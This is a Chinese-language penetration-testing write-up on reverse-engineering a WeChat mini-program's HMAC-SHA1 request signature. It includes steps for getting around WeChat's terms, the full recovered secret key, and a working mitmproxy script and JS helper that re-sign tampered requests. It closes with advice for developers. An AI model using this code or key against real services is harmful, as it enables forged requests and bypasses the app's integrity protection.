小程序sign逆向和渗透两种思路,总有一款适合你
字数 1096 2025-08-20 18:18:04
小程序Sign逆向分析与渗透测试技术指南
0x01 Sign发现与排查思路
初始发现
- 修改数据重新发包后显示"系统异常",而非正常的"code无效"响应
- 怀疑
signature字段是签名校验的关键参数
排查方法
- 依次修改请求头中的每个参数值并重新发送请求
- 观察哪些参数修改会导致响应变为"系统异常"
- 确定以下四个参数影响签名校验:
busi-timestamp:时间戳busi-noncestr:随机字符串busi-appid:应用ID- JSON请求体
0x02 使用微信DevTools进行Debug分析
准备工作
- 工具:WeChatOpenDevTools-Python
- 风险提示:此方法可能违反微信使用条款,建议使用微信小号操作,避免使用虚拟机
操作步骤
- 执行命令打开DevTools:
WechatOpenDevTools-Python.exe -x - 在Sources面板搜索
busi-signature: - 注意:需要触发对应功能才能加载相关JS文件
签名算法分析
busi-signature值由函数计算得出- 签名算法关键要素:
- 密钥:
GZR3qIxxx(通过调试获取) - 输入值
e由四部分组成:- 请求体的JSON参数
- 请求头中的时间戳
- 请求头中的noncestr
- 请求地址
- 各部分用
\n拼接
- 密钥:
0x03 通过还原JS硬逆向分析
工具准备
- wxapkg解包工具:wxapkg
- 使用命令扫描和解包:
wxapkg.exe scan
签名算法逆向分析
- 全局搜索
busi-signature:定位关键函数 - 签名计算函数:
encryptWithHmacSHA1 - 密钥
r的生成逻辑:r = "".concat(c.k1).concat(l.k2).concat(f.k3.slice(2)).concat(c.k4) - 通过模块分析找到各组件:
c.k1和c.k4:在模块39中定义l.k2:直接搜索k2 =定位f.k3:直接搜索k3 =定位
- 最终密钥:
GZR3qIBe^lC@I!KpkyBtEg$&@0UncJpr
签名输入值构造
- GET请求:
(s || "") + "\n" + d + "\n" + y + "\na671602347467\n" + (t.url.includes("?") ? t.url.split("?")[0] : t.url) + "\n" - POST请求:
(JSON.stringify(t.data) || "") + "\n" + d + "\n" + y + "\na671602347467\n" + (t.url.includes("?") ? t.url.split("?")[0] : t.url) + "\n"
0x04 利用方法(Mitmproxy实现)
Python代码(mitm_sign.py)
import time
import execjs
def request(flow):
if flow.request.method == "POST":
with open('exec.js', 'r', encoding='utf-8') as f:
js_file = f.read()
js_exec = execjs.compile(js_file)
try:
json_data = flow.request.json()
except Exception as e:
json_data = ''
url = str(flow.request.path).split('?')[0]
noncestr = flow.request.headers.get('busi-nonceStr','')
now_time = int(time.time())
sign = js_exec.call('get_sign',url,json_data,noncestr,now_time)
flow.request.urlencoded_form['busi-timeStamp'] = now_time
flow.request.urlencoded_form['busi-signature'] = sign
JS代码(exec.js)
const crypto = require('crypto');
secretKey = 'GZR3qIBe^lC@I!KpkyBtEg$&@0UncJpr'
function get_sign(url,jsondata,noncestr,now_time){
e = jsondata
+'\n'+now_time
+ '\n'+noncestr
+ '\na671602347467'
+ '\n'+url
+ '\n'
const hmac = crypto.createHmac('sha1', secretKey);
hmac.update(e)
sign = hmac.digest("hex")
return sign
}
执行命令
mitmproxy.exe -p 8081 -s .\mitm_sign.py
0x05 技术总结与注意事项
-
两种方法对比:
- DevTools调试:简单直接但存在封号风险
- JS硬逆向:安全但技术要求较高
-
签名算法特点:
- 使用HMAC-SHA1算法
- 密钥为固定字符串拼接
- 输入值包含请求体、时间戳、随机字符串和URL
-
安全建议:
- 小程序开发者应避免将密钥硬编码在客户端
- 考虑使用动态密钥或服务端签名方案
- 对关键业务逻辑增加多重验证机制
-
扩展思考:
- 类似方法可应用于其他小程序平台的分析
- 对于非微信平台的小程序,需要探索其他调试方法